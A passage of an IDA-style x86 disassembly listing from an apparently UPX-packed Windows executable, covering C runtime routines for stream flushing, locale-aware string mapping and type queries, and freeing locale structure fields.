loc_4149B9: ; CODE XREF: sub_41490D+3Aj
mov ecx, [ebp+var_4]
xor ecx, ebp
pop esi
call sub_40AC1C
leave
retn
; ---------------------------------------------------------------------------
loc_4149C6: ; CODE XREF: sub_41490D+50j
mov dword_42AD30, 1
jmp short loc_4149B5
sub_41490D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4149D2 proc near ; CODE XREF: sub_4119CD+Ep
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 10h
push offset dword_426CB0
call __SEH_prolog4
xor ebx, ebx
mov [ebp+var_1C], ebx
push 1
call sub_40CFA9
pop ecx
mov [ebp+ms_exc.disabled], ebx
push 3
pop edi
loc_4149F1: ; CODE XREF: sub_4149D2+7Fj
mov [ebp+var_20], edi
cmp edi, dword_430140
jge short loc_414A53
mov esi, edi
shl esi, 2
mov eax, dword_42F138
add eax, esi
cmp [eax], ebx
jz short loc_414A50
mov eax, [eax]
test byte ptr [eax+0Ch], 83h
jz short loc_414A23
push eax
call sub_415D90
pop ecx
cmp eax, 0FFFFFFFFh
jz short loc_414A23
inc [ebp+var_1C]
loc_414A23: ; CODE XREF: sub_4149D2+40j
; sub_4149D2+4Cj
cmp edi, 14h
jl short loc_414A50
mov eax, dword_42F138
mov eax, [esi+eax]
add eax, 20h
push eax
call dword_41D1C8 ; RtlDeleteCriticalSection
mov eax, dword_42F138
push dword ptr [esi+eax]
call sub_40ADC8
pop ecx
mov eax, dword_42F138
mov [esi+eax], ebx
loc_414A50: ; CODE XREF: sub_4149D2+38j
; sub_4149D2+54j
inc edi
jmp short loc_4149F1
; ---------------------------------------------------------------------------
loc_414A53: ; CODE XREF: sub_4149D2+28j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_414A68
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_4149D2 endp
; =============== S U B R O U T I N E =======================================
sub_414A68 proc near ; CODE XREF: sub_4149D2+88p
; DATA XREF: UPX0:00426CC8o
push 1
call sub_40CECF
pop ecx
retn
sub_414A68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414A71 proc near ; CODE XREF: sub_414AD9+17p
; sub_415D19+37p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+0Ch]
mov ecx, eax
and cl, 3
xor ebx, ebx
cmp cl, 2
jnz short loc_414ACA
test eax, 108h
jz short loc_414ACA
mov eax, [esi+8]
push edi
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_414AC9
push edi
push eax
push esi
call sub_411ACB
pop ecx
push eax
call sub_41178D
add esp, 0Ch
cmp eax, edi
jnz short loc_414AC2
mov eax, [esi+0Ch]
test al, al
jns short loc_414AC9
and eax, 0FFFFFFFDh
mov [esi+0Ch], eax
jmp short loc_414AC9
; ---------------------------------------------------------------------------
loc_414AC2: ; CODE XREF: sub_414A71+40j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_414AC9: ; CODE XREF: sub_414A71+2Aj
; sub_414A71+47j ...
pop edi
loc_414ACA: ; CODE XREF: sub_414A71+17j
; sub_414A71+1Ej
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop esi
mov eax, ebx
pop ebx
pop ebp
retn
sub_414A71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414AD9 proc near ; CODE XREF: sub_414B21+69p
; sub_414B21+84p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
test esi, esi
jnz short loc_414AEF
push esi
call sub_414B21
pop ecx
jmp short loc_414B1E
; ---------------------------------------------------------------------------
loc_414AEF: ; CODE XREF: sub_414AD9+Bj
push esi
call sub_414A71
pop ecx
test eax, eax
jz short loc_414AFF
or eax, 0FFFFFFFFh
jmp short loc_414B1E
; ---------------------------------------------------------------------------
loc_414AFF: ; CODE XREF: sub_414AD9+1Fj
test dword ptr [esi+0Ch], 4000h
jz short loc_414B1C
push esi
call sub_411ACB
push eax
call sub_415E0C
pop ecx
neg eax
pop ecx
sbb eax, eax
jmp short loc_414B1E
; ---------------------------------------------------------------------------
loc_414B1C: ; CODE XREF: sub_414AD9+2Dj
xor eax, eax
loc_414B1E: ; CODE XREF: sub_414AD9+14j
; sub_414AD9+24j ...
pop esi
pop ebp
retn
sub_414AD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414B21 proc near ; CODE XREF: sub_414AD9+Ep
; sub_414BFB+2p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00414BD4 SIZE 0000001E BYTES
push 14h
push offset dword_426CD0
call __SEH_prolog4
xor edi, edi
mov [ebp+var_1C], edi
mov [ebp+var_24], edi
push 1
call sub_40CFA9
pop ecx
mov [ebp+ms_exc.disabled], edi
xor esi, esi
loc_414B42: ; CODE XREF: sub_414B21+9Bj
mov [ebp+var_20], esi
cmp esi, dword_430140
jge loc_414BD4
mov eax, dword_42F138
lea eax, [eax+esi*4]
cmp [eax], edi
jz short loc_414BBB
mov eax, [eax]
test byte ptr [eax+0Ch], 83h
jz short loc_414BBB
push eax
push esi
call sub_411A2E
pop ecx
pop ecx
xor edx, edx
inc edx
mov [ebp+ms_exc.disabled], edx
mov eax, dword_42F138
mov eax, [eax+esi*4]
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_414BB3
cmp [ebp+arg_0], edx
jnz short loc_414B9A
push eax
call sub_414AD9
pop ecx
cmp eax, 0FFFFFFFFh
jz short loc_414BB3
inc [ebp+var_1C]
jmp short loc_414BB3
; ---------------------------------------------------------------------------
loc_414B9A: ; CODE XREF: sub_414B21+66j
cmp [ebp+arg_0], edi
jnz short loc_414BB3
test cl, 2
jz short loc_414BB3
push eax
call sub_414AD9
pop ecx
cmp eax, 0FFFFFFFFh
jnz short loc_414BB3
or [ebp+var_24], eax
loc_414BB3: ; CODE XREF: sub_414B21+61j
; sub_414B21+72j ...
mov [ebp+ms_exc.disabled], edi
call sub_414BC3
loc_414BBB: ; CODE XREF: sub_414B21+3Aj
; sub_414B21+42j
inc esi
jmp short loc_414B42
sub_414B21 endp
; =============== S U B R O U T I N E =======================================
sub_414BBE proc near ; DATA XREF: UPX0:00426CF4o
xor edi, edi
mov esi, [ebp-20h]
sub_414BBE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_414BC3 proc near ; CODE XREF: sub_414B21+95p
mov eax, dword_42F138
push dword ptr [eax+esi*4]
push esi
call sub_411A9C
pop ecx
pop ecx
retn
sub_414BC3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_414B21
loc_414BD4: ; CODE XREF: sub_414B21+2Aj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_414BF2
cmp [ebp+arg_0], 1
mov eax, [ebp+var_1C]
jz short loc_414BEC
mov eax, [ebp+var_24]
loc_414BEC: ; CODE XREF: sub_414B21+C6j
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_414B21
; =============== S U B R O U T I N E =======================================
sub_414BF2 proc near ; CODE XREF: sub_414B21+BAp
; DATA XREF: UPX0:00426CE8o
push 1
call sub_40CECF
pop ecx
retn
sub_414BF2 endp
; =============== S U B R O U T I N E =======================================
sub_414BFB proc near ; CODE XREF: sub_4119CDp
push 1
call sub_414B21
pop ecx
retn
sub_414BFB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414C04 proc near ; CODE XREF: sub_414FA9+2Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push esi
xor ebx, ebx
push edi
mov esi, ecx
cmp dword_42EDBC, ebx
jnz short loc_414C5D
push ebx
push ebx
xor edi, edi
inc edi
push edi
push offset dword_41E554
push 100h
push ebx
call dword_41D220 ; LCMapStringW
test eax, eax
jz short loc_414C48
mov dword_42EDBC, edi
jmp short loc_414C5D
; ---------------------------------------------------------------------------
loc_414C48: ; CODE XREF: sub_414C04+3Aj
call dword_41D1D8 ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_414C5D
mov dword_42EDBC, 2
loc_414C5D: ; CODE XREF: sub_414C04+1Fj
; sub_414C04+42j ...
cmp [ebp+arg_C], ebx
jle short loc_414C84
mov ecx, [ebp+arg_C]
mov eax, [ebp+arg_8]
loc_414C68: ; CODE XREF: sub_414C04+6Cj
dec ecx
cmp [eax], bl
jz short loc_414C75
inc eax
cmp ecx, ebx
jnz short loc_414C68
or ecx, 0FFFFFFFFh
loc_414C75: ; CODE XREF: sub_414C04+67j
mov eax, [ebp+arg_C]
sub eax, ecx
dec eax
cmp eax, [ebp+arg_C]
jge short loc_414C81
inc eax
loc_414C81: ; CODE XREF: sub_414C04+7Aj
mov [ebp+arg_C], eax
loc_414C84: ; CODE XREF: sub_414C04+5Cj
mov eax, dword_42EDBC
cmp eax, 2
jz loc_414E3E
cmp eax, ebx
jz loc_414E3E
cmp eax, 1
jnz loc_414E6F
mov [ebp+var_8], ebx
cmp [ebp+arg_18], ebx
jnz short loc_414CB3
mov eax, [esi]
mov eax, [eax+4]
mov [ebp+arg_18], eax
loc_414CB3: ; CODE XREF: sub_414C04+A5j
mov esi, dword_41D1F4
xor eax, eax
cmp [ebp+arg_1C], ebx
push ebx
push ebx
push [ebp+arg_C]
setnz al
push [ebp+arg_8]
lea eax, ds:1[eax*8]
push eax
push [ebp+arg_18]
call esi ; dword_41D1F4
mov edi, eax
cmp edi, ebx
jz loc_414E6F
jle short loc_414D25
push 0FFFFFFE0h
xor edx, edx
pop eax
div edi
cmp eax, 2
jb short loc_414D25
lea eax, [edi+edi+8]
cmp eax, 400h
ja short loc_414D0C
call sub_4160F0
mov eax, esp
cmp eax, ebx
jz short loc_414D20
mov dword ptr [eax], 0CCCCh
jmp short loc_414D1D
; ---------------------------------------------------------------------------
loc_414D0C: ; CODE XREF: sub_414C04+F3j
push eax
call sub_40AEA5
pop ecx
cmp eax, ebx
jz short loc_414D20
mov dword ptr [eax], 0DDDDh
loc_414D1D: ; CODE XREF: sub_414C04+106j
add eax, 8
loc_414D20: ; CODE XREF: sub_414C04+FEj
; sub_414C04+111j
mov [ebp+var_C], eax
jmp short loc_414D28
; ---------------------------------------------------------------------------
loc_414D25: ; CODE XREF: sub_414C04+DCj
; sub_414C04+E8j
mov [ebp+var_C], ebx
loc_414D28: ; CODE XREF: sub_414C04+11Fj
cmp [ebp+var_C], ebx
jz loc_414E6F
push edi
push [ebp+var_C]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call esi ; dword_41D1F4
test eax, eax
jz loc_414E2D
mov esi, dword_41D220
push ebx
push ebx
push edi
push [ebp+var_C]
push [ebp+arg_4]
push [ebp+arg_0]
call esi ; dword_41D220
mov ecx, eax
mov [ebp+var_8], ecx
cmp ecx, ebx
jz loc_414E2D
test [ebp+arg_4], 400h
jz short loc_414D9D
cmp [ebp+arg_14], ebx
jz loc_414E2D
cmp ecx, [ebp+arg_14]
jg loc_414E2D
push [ebp+arg_14]
push [ebp+arg_10]
push edi
push [ebp+var_C]
push [ebp+arg_4]
push [ebp+arg_0]
call esi ; dword_41D220
jmp loc_414E2D
; ---------------------------------------------------------------------------
loc_414D9D: ; CODE XREF: sub_414C04+16Ej
cmp ecx, ebx
jle short loc_414DE6
push 0FFFFFFE0h
xor edx, edx
pop eax
div ecx
cmp eax, 2
jb short loc_414DE6
lea eax, [ecx+ecx+8]
cmp eax, 400h
ja short loc_414DCE
call sub_4160F0
mov esi, esp
cmp esi, ebx
jz short loc_414E2D
mov dword ptr [esi], 0CCCCh
add esi, 8
jmp short loc_414DE8
; ---------------------------------------------------------------------------
loc_414DCE: ; CODE XREF: sub_414C04+1B2j
push eax
call sub_40AEA5
pop ecx
cmp eax, ebx
jz short loc_414DE2
mov dword ptr [eax], 0DDDDh
add eax, 8
loc_414DE2: ; CODE XREF: sub_414C04+1D3j
mov esi, eax
jmp short loc_414DE8
; ---------------------------------------------------------------------------
loc_414DE6: ; CODE XREF: sub_414C04+19Bj
; sub_414C04+1A7j
xor esi, esi
loc_414DE8: ; CODE XREF: sub_414C04+1C8j
; sub_414C04+1E0j
cmp esi, ebx
jz short loc_414E2D
push [ebp+var_8]
push esi
push edi
push [ebp+var_C]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41D220 ; LCMapStringW
test eax, eax
jz short loc_414E26
push ebx
push ebx
cmp [ebp+arg_14], ebx
jnz short loc_414E0F
push ebx
push ebx
jmp short loc_414E15
; ---------------------------------------------------------------------------
loc_414E0F: ; CODE XREF: sub_414C04+205j
push [ebp+arg_14]
push [ebp+arg_10]
loc_414E15: ; CODE XREF: sub_414C04+209j
push [ebp+var_8]
push esi
push ebx
push [ebp+arg_18]
call dword_41D07C ; WideCharToMultiByte
mov [ebp+var_8], eax
loc_414E26: ; CODE XREF: sub_414C04+1FEj
push esi
call sub_401000
pop ecx
loc_414E2D: ; CODE XREF: sub_414C04+140j
; sub_414C04+161j ...
push [ebp+var_C]
call sub_401000
mov eax, [ebp+var_8]
pop ecx
jmp loc_414F97
; ---------------------------------------------------------------------------
loc_414E3E: ; CODE XREF: sub_414C04+88j
; sub_414C04+90j
mov [ebp+var_C], ebx
mov [ebp+var_10], ebx
cmp [ebp+arg_0], ebx
jnz short loc_414E51
mov eax, [esi]
mov eax, [eax+14h]
mov [ebp+arg_0], eax
loc_414E51: ; CODE XREF: sub_414C04+243j
cmp [ebp+arg_18], ebx
jnz short loc_414E5E
mov eax, [esi]
mov eax, [eax+4]
mov [ebp+arg_18], eax
loc_414E5E: ; CODE XREF: sub_414C04+250j
push [ebp+arg_0]
call sub_415EED
pop ecx
mov [ebp+var_14], eax
cmp eax, 0FFFFFFFFh
jnz short loc_414E76
loc_414E6F: ; CODE XREF: sub_414C04+99j
; sub_414C04+D6j ...
xor eax, eax
jmp loc_414F97
; ---------------------------------------------------------------------------
loc_414E76: ; CODE XREF: sub_414C04+269j
cmp eax, [ebp+arg_18]
jz loc_414F5A
push ebx
push ebx
lea ecx, [ebp+arg_C]
push ecx
push [ebp+arg_8]
push eax
push [ebp+arg_18]
call sub_415F36
add esp, 18h
mov [ebp+var_C], eax
cmp eax, ebx
jz short loc_414E6F
mov esi, dword_41D10C
push ebx
push ebx
push [ebp+arg_C]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call esi ; dword_41D10C
mov [ebp+var_8], eax
cmp eax, ebx
jnz short loc_414EBD
loc_414EB6: ; CODE XREF: sub_414C04+2D3j
; sub_414C04+2FCj
xor esi, esi
jmp loc_414F74
; ---------------------------------------------------------------------------
loc_414EBD: ; CODE XREF: sub_414C04+2B0j
jle short loc_414EFC
cmp eax, 0FFFFFFE0h
ja short loc_414EFC
add eax, 8
cmp eax, 400h
ja short loc_414EE4
call sub_4160F0
mov edi, esp
cmp edi, ebx
jz short loc_414EB6
mov dword ptr [edi], 0CCCCh
add edi, 8
jmp short loc_414EFE
; ---------------------------------------------------------------------------
loc_414EE4: ; CODE XREF: sub_414C04+2C8j
push eax
call sub_40AEA5
pop ecx
cmp eax, ebx
jz short loc_414EF8
mov dword ptr [eax], 0DDDDh
add eax, 8
loc_414EF8: ; CODE XREF: sub_414C04+2E9j
mov edi, eax
jmp short loc_414EFE
; ---------------------------------------------------------------------------
loc_414EFC: ; CODE XREF: sub_414C04:loc_414EBDj
; sub_414C04+2BEj
xor edi, edi
loc_414EFE: ; CODE XREF: sub_414C04+2DEj
; sub_414C04+2F6j
cmp edi, ebx
jz short loc_414EB6
push [ebp+var_8]
push ebx
push edi
call sub_40BD40
add esp, 0Ch
push [ebp+var_8]
push edi
push [ebp+arg_C]
push [ebp+var_C]
push [ebp+arg_4]
push [ebp+arg_0]
call esi ; dword_41D10C
mov [ebp+var_8], eax
cmp eax, ebx
jnz short loc_414F2C
xor esi, esi
jmp short loc_414F51
; ---------------------------------------------------------------------------
loc_414F2C: ; CODE XREF: sub_414C04+322j
push [ebp+arg_14]
lea eax, [ebp+var_8]
push [ebp+arg_10]
push eax
push edi
push [ebp+arg_18]
push [ebp+var_14]
call sub_415F36
mov esi, eax
mov [ebp+var_10], esi
add esp, 18h
neg esi
sbb esi, esi
and esi, [ebp+var_8]
loc_414F51: ; CODE XREF: sub_414C04+326j
push edi
call sub_401000
pop ecx
jmp short loc_414F74
; ---------------------------------------------------------------------------
loc_414F5A: ; CODE XREF: sub_414C04+275j
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41D10C ; LCMapStringA
mov esi, eax
loc_414F74: ; CODE XREF: sub_414C04+2B4j
; sub_414C04+354j
cmp [ebp+var_C], ebx
jz short loc_414F82
push [ebp+var_C]
call sub_40ADC8
pop ecx
loc_414F82: ; CODE XREF: sub_414C04+373j
mov eax, [ebp+var_10]
cmp eax, ebx
jz short loc_414F95
cmp [ebp+arg_10], eax
jz short loc_414F95
push eax
call sub_40ADC8
pop ecx
loc_414F95: ; CODE XREF: sub_414C04+383j
; sub_414C04+388j
mov eax, esi
loc_414F97: ; CODE XREF: sub_414C04+235j
; sub_414C04+26Dj
lea esp, [ebp-20h]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_4]
xor ecx, ebp
call sub_40AC1C
leave
retn
sub_414C04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414FA9 proc near ; CODE XREF: sub_411B90+BCp
; sub_411B90+E1p ...
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push [ebp+arg_0]
lea ecx, [ebp+var_10]
call sub_40C799
push [ebp+arg_20]
lea ecx, [ebp+var_10]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_414C04
add esp, 20h
cmp [ebp+var_4], 0
jz short locret_414FEC
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
locret_414FEC: ; CODE XREF: sub_414FA9+3Aj
leave
retn
sub_414FA9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414FEE proc near ; CODE XREF: sub_4151A8+2Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
mov eax, dword_42EDC0
push ebx
push esi
xor ebx, ebx
push edi
mov edi, ecx
cmp eax, ebx
jnz short loc_415049
lea eax, [ebp+var_8]
push eax
xor esi, esi
inc esi
push esi
push offset dword_41E554
push esi
call dword_41D100 ; GetStringTypeW
test eax, eax
jz short loc_41502F
mov dword_42EDC0, esi
jmp short loc_415063
; ---------------------------------------------------------------------------
loc_41502F: ; CODE XREF: sub_414FEE+37j
call dword_41D1D8 ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_415044
push 2
pop eax
mov dword_42EDC0, eax
jmp short loc_415049
; ---------------------------------------------------------------------------
loc_415044: ; CODE XREF: sub_414FEE+4Aj
mov eax, dword_42EDC0
loc_415049: ; CODE XREF: sub_414FEE+1Fj
; sub_414FEE+54j
cmp eax, 2
jz loc_415121
cmp eax, ebx
jz loc_415121
cmp eax, 1
jnz loc_41514B
loc_415063: ; CODE XREF: sub_414FEE+3Fj
mov [ebp+var_8], ebx
cmp [ebp+arg_10], ebx
jnz short loc_415073
mov eax, [edi]
mov eax, [eax+4]
mov [ebp+arg_10], eax
loc_415073: ; CODE XREF: sub_414FEE+7Bj
mov esi, dword_41D1F4
xor eax, eax
cmp [ebp+arg_18], ebx
push ebx
push ebx
push [ebp+arg_8]
setnz al
push [ebp+arg_4]
lea eax, ds:1[eax*8]
push eax
push [ebp+arg_10]
call esi ; dword_41D1F4
mov edi, eax
cmp edi, ebx
jz loc_41514B
jle short loc_4150DE
cmp edi, 7FFFFFF0h
ja short loc_4150DE
lea eax, [edi+edi+8]
cmp eax, 400h
ja short loc_4150C8
call sub_4160F0
mov eax, esp
cmp eax, ebx
jz short loc_4150DC
mov dword ptr [eax], 0CCCCh
jmp short loc_4150D9
; ---------------------------------------------------------------------------
loc_4150C8: ; CODE XREF: sub_414FEE+C5j
push eax
call sub_40AEA5
pop ecx
cmp eax, ebx
jz short loc_4150DC
mov dword ptr [eax], 0DDDDh
loc_4150D9: ; CODE XREF: sub_414FEE+D8j
add eax, 8
loc_4150DC: ; CODE XREF: sub_414FEE+D0j
; sub_414FEE+E3j
mov ebx, eax
loc_4150DE: ; CODE XREF: sub_414FEE+B2j
; sub_414FEE+BAj
test ebx, ebx
jz short loc_41514B
lea eax, [edi+edi]
push eax
push 0
push ebx
call sub_40BD40
add esp, 0Ch
push edi
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call esi ; dword_41D1F4
test eax, eax
jz short loc_415115
push [ebp+arg_C]
push eax
push ebx
push [ebp+arg_0]
call dword_41D100 ; GetStringTypeW
mov [ebp+var_8], eax
loc_415115: ; CODE XREF: sub_414FEE+114j
push ebx
call sub_401000
mov eax, [ebp+var_8]
pop ecx
jmp short loc_415196
; ---------------------------------------------------------------------------
loc_415121: ; CODE XREF: sub_414FEE+5Ej
; sub_414FEE+66j
xor esi, esi
cmp [ebp+arg_14], ebx
jnz short loc_415130
mov eax, [edi]
mov eax, [eax+14h]
mov [ebp+arg_14], eax
loc_415130: ; CODE XREF: sub_414FEE+138j
cmp [ebp+arg_10], ebx
jnz short loc_41513D
mov eax, [edi]
mov eax, [eax+4]
mov [ebp+arg_10], eax
loc_41513D: ; CODE XREF: sub_414FEE+145j
push [ebp+arg_14]
call sub_415EED
pop ecx
cmp eax, 0FFFFFFFFh
jnz short loc_41514F
loc_41514B: ; CODE XREF: sub_414FEE+6Fj
; sub_414FEE+ACj ...
xor eax, eax
jmp short loc_415196
; ---------------------------------------------------------------------------
loc_41514F: ; CODE XREF: sub_414FEE+15Bj
cmp eax, [ebp+arg_10]
jz short loc_415172
push ebx
push ebx
lea ecx, [ebp+arg_8]
push ecx
push [ebp+arg_4]
push eax
push [ebp+arg_10]
call sub_415F36
mov esi, eax
add esp, 18h
cmp esi, ebx
jz short loc_41514B
mov [ebp+arg_4], esi
loc_415172: ; CODE XREF: sub_414FEE+164j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push [ebp+arg_14]
call dword_41D104 ; GetStringTypeA
mov edi, eax
cmp esi, ebx
jz short loc_415194
push esi
call sub_40ADC8
pop ecx
loc_415194: ; CODE XREF: sub_414FEE+19Dj
mov eax, edi
loc_415196: ; CODE XREF: sub_414FEE+131j
; sub_414FEE+15Fj
lea esp, [ebp-14h]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_4]
xor ecx, ebp
call sub_40AC1C
leave
retn
sub_414FEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151A8 proc near ; CODE XREF: sub_411B90+9Cp
; sub_41449B+85p
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push [ebp+arg_0]
lea ecx, [ebp+var_10]
call sub_40C799
push [ebp+arg_1C]
lea ecx, [ebp+var_10]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_414FEE
add esp, 1Ch
cmp [ebp+var_4], 0
jz short locret_4151E8
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
locret_4151E8: ; CODE XREF: sub_4151A8+37j
leave
retn
sub_4151A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151EA proc near ; CODE XREF: sub_4121E0+ECp
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz loc_41537C
push dword ptr [esi+4]
call sub_40ADC8
push dword ptr [esi+8]
call sub_40ADC8
push dword ptr [esi+0Ch]
call sub_40ADC8
push dword ptr [esi+10h]
call sub_40ADC8
push dword ptr [esi+14h]
call sub_40ADC8
push dword ptr [esi+18h]
call sub_40ADC8
push dword ptr [esi]
call sub_40ADC8
push dword ptr [esi+20h]
call sub_40ADC8
push dword ptr [esi+24h]
call sub_40ADC8
push dword ptr [esi+28h]
call sub_40ADC8
push dword ptr [esi+2Ch]
call sub_40ADC8
push dword ptr [esi+30h]
call sub_40ADC8
push dword ptr [esi+34h]
call sub_40ADC8
push dword ptr [esi+1Ch]
call sub_40ADC8
push dword ptr [esi+38h]
call sub_40ADC8
push dword ptr [esi+3Ch]
call sub_40ADC8
add esp, 40h
push dword ptr [esi+40h]
call sub_40ADC8
push dword ptr [esi+44h]
call sub_40ADC8
push dword ptr [esi+48h]
call sub_40ADC8
push dword ptr [esi+4Ch]
call sub_40ADC8
push dword ptr [esi+50h]
call sub_40ADC8
push dword ptr [esi+54h]
call sub_40ADC8
push dword ptr [esi+58h]
call sub_40ADC8
push dword ptr [esi+5Ch]
call sub_40ADC8
push dword ptr [esi+60h]
call sub_40ADC8
push dword ptr [esi+64h]
call sub_40ADC8
push dword ptr [esi+68h]
call sub_40ADC8
push dword ptr [esi+6Ch]
call sub_40ADC8
push dword ptr [esi+70h]
call sub_40ADC8
push dword ptr [esi+74h]
call sub_40ADC8
push dword ptr [esi+78h]
call sub_40ADC8
push dword ptr [esi+7Ch]
call sub_40ADC8
add esp, 40h
push dword ptr [esi+80h]
call sub_40ADC8
push dword ptr [esi+84h]
call sub_40ADC8
push dword ptr [esi+88h]
call sub_40ADC8
push dword ptr [esi+8Ch]
call sub_40ADC8
push dword ptr [esi+90h]
call sub_40ADC8
push dword ptr [esi+94h]
call sub_40ADC8
push dword ptr [esi+98h]
call sub_40ADC8
push dword ptr [esi+9Ch]
call sub_40ADC8
push dword ptr [esi+0A0h]
call sub_40ADC8
push dword ptr [esi+0A4h]
call sub_40ADC8
push dword ptr [esi+0A8h]
call sub_40ADC8
add esp, 2Ch
loc_41537C: ; CODE XREF: sub_4151EA+Bj
pop esi
pop ebp
retn
sub_4151EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41537F proc near ; CODE XREF: sub_4121E0+67p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_4153C1
mov eax, [esi]
cmp eax, off_42AE00
jz short loc_41539D
push eax
call sub_40ADC8
pop ecx
loc_41539D: ; CODE XREF: sub_41537F+15j
mov eax, [esi+4]
cmp eax, off_42AE04
jz short loc_4153AF
push eax
call sub_40ADC8
pop ecx
loc_4153AF: ; CODE XREF: sub_41537F+27j
mov esi, [esi+8]
cmp esi, off_42AE08
jz short loc_4153C1
push esi
call sub_40ADC8
pop ecx
loc_4153C1: ; CODE XREF: sub_41537F+Bj
; sub_41537F+39j
pop esi
pop ebp
retn
sub_41537F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4153C4 proc near ; CODE XREF: sub_4121E0+46p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41544F
mov eax, [esi+0Ch]
cmp eax, off_42AE0C
jz short loc_4153E3
push eax
call sub_40ADC8
pop ecx
loc_4153E3: ; CODE XREF: sub_4153C4+16j
mov eax, [esi+10h]
cmp eax, off_42AE10
jz short loc_4153F5
push eax
call sub_40ADC8
pop ecx
loc_4153F5: ; CODE XREF: sub_4153C4+28j
mov eax, [esi+14h]
cmp eax, off_42AE14
jz short loc_415407
push eax
call sub_40ADC8
pop ecx
loc_415407: ; CODE XREF: sub_4153C4+3Aj
mov eax, [esi+18h]
cmp eax, off_42AE18
jz short loc_415419
push eax
call sub_40ADC8
pop ecx
loc_415419: ; CODE XREF: sub_4153C4+4Cj
mov eax, [esi+1Ch]
cmp eax, off_42AE1C
jz short loc_41542B
push eax
call sub_40ADC8
pop ecx
loc_41542B: ; CODE XREF: sub_4153C4+5Ej
mov eax, [esi+20h]
cmp eax, off_42AE20
